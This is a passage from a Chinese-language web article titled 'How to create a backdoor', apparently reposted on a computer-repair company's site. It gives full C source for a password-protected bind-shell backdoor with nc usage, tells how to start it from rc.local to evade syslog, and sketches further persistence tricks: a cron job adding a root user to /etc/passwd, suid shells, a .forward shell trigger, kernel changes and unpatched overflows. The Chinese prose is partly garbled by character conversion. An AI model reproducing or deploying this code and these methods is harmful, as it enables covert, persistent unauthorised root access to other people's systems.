设为主页 | 加入收藏 | 繁體中文

如何创建后门


  other action just l1ke before;
  Usage: (exp:binding to in.rlogind (513))
  nc target 513 //spam a shell on the high port;
  nc target 54321
  ur passwd
  (then u coming in...)
  ----Cut Here-------------------------------------
  /*
  * [ b i n d - s h e l l ]
  * by
  * zer9[FTT]
  * zer9@21cn.com
  *test on slackware 2.0.33&irix6.4(cc)
  *cc backdoor.c -o backdoor
  *u c4n p01nt t0 wh1ch p0rt th3 sh3ll t0 sp4m
  *c0mm4nd l1n3: backdoor [port]
  *d3fault p0rt 1s: 54321
  *greets to b4b0 for his b4b0.c
  *m4yb3 1 c0uld s4y:
  *"0k,b4b0.l1st3n c4r3fully;"
  *s0rry,just a joke.
  *
  */
  #include
  #include
  #include
  #include
  #include
  #include
  #include
  #define PassWord "k1n90fth3w0rld"
  /* u c4n us3 crypt l1b4ry t0 sh4d0w 1t */
  #define DefaultPort 54321
  /* d3f4ult b1nd1ng p0rt */
  int main(int argc,char **argv)
  {
  int s,in_s;
  struct sockaddr_in server,client;
  int client_len,bindport;
  char recvbuf[1000];
  if(argc!=2) bindport=DefaultPort;
  else
  bindport=atoi(argv[1]);
  if((s=socket(AF_INET,SOCK_STREAM,0))<0)
  {
  perror("socket");
  return -1;
  }
  bzero((char *)&server,sizeof(server));
  bzero((char *)&client,sizeof(client));
  bzero(recvbuf,sizeof(recvbuf));
  server.sin_family=AF_INET;
  server.sin_port=htons(bindport);
  server.sin_addr.s_addr=INADDR_ANY;
  if(bind(s,(struct sockaddr *)&server,sizeof(server))<0)
  {
  perror("bind");
  return -1;
  }
  if(listen(s,3)!=0)
  {
  perror("listen");
  return -1;
  }
  client_len=sizeof(client);
  if((in_s=accept(s,(struct sockaddr *)&client,&client_len))<0)
  {
  perror("accept");
  return -1;
  }
  recv(in_s,recvbuf,sizeof(recvbuf),0);
  sleep(1);
  if((strlen(recvbuf)-1)==strlen(PassWord))
  if(!strncmp(recvbuf,PassWord,strlen(PassWord)))
  {
  send(in_s,"0k4y! c0m1ng 1n...\n",25,0);
  close(0);close(1);close(2);
  dup2(in_s,0);dup2(in_s,1);dup2(in_s,2);
  execl("/bin/csh","/bin/csh",(char *)0);
  }
  close(s);
  close(in_s);
  return 0;
  }
  ----Cut Here-------------------------------------------------
  用上面的方法都不能完全的避开syslogd,因为他们都是由inetd 启动的,inetd启动它们的同时曾经举行log 了;旁路失inetd就能完全避开syslog!方法很简单,只要间接在命令行间接启动例程2(c)就可以了,(1perl不行);不过这样很麻烦;一旦ADM关失计算机就玩完了;比较好的方法是在 /etc/rc.d/rc.local中参加:
  backdoor &
  但纵然这样作了,每次用过后还要再起动一次;更好的方法是写一个具有完全功能(后门功能^o^)的daemon,彻底的解决这个问题;但这样做与hack inetd 那样更有效率(宁静)了?
  --
  8.第八种武器就是 crontab
  我只晓得原理,没理论过.每到一定时间就往 /etc/passwd 中参加一条uid为0(root)
  的用户;时间一道就delete ,或创立suid's shell...在序言中提到的文章中有细致介绍;
  --
  9.有没有想过只要向系统的一个用户发一个email,OS 就会spam出一个shell?使用用户的home目次下的 .forward 可作到这一点。
  --
  10。修改内核--超级妙手的做法;2.2.0的解压文件到达了50几MB,看到就头痛。接着就 jmp ffff0 :) (不是看到内容,而是看到大小);[THC]最近出了篇文章关于这个的。你对本身有决心的话可以看看;
  --
  11.还有就是使用 overflow 步伐,虽然我们一样平常是使用它取得root;但只要 ADM && u 没有 patch ,一直我们可以使用它的,与suid差别的是它不怕被 find / -perm 4000 发明;一样平常只要 tripwire可发明。
  ---------
  我所晓得的方法全部坦白完了
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: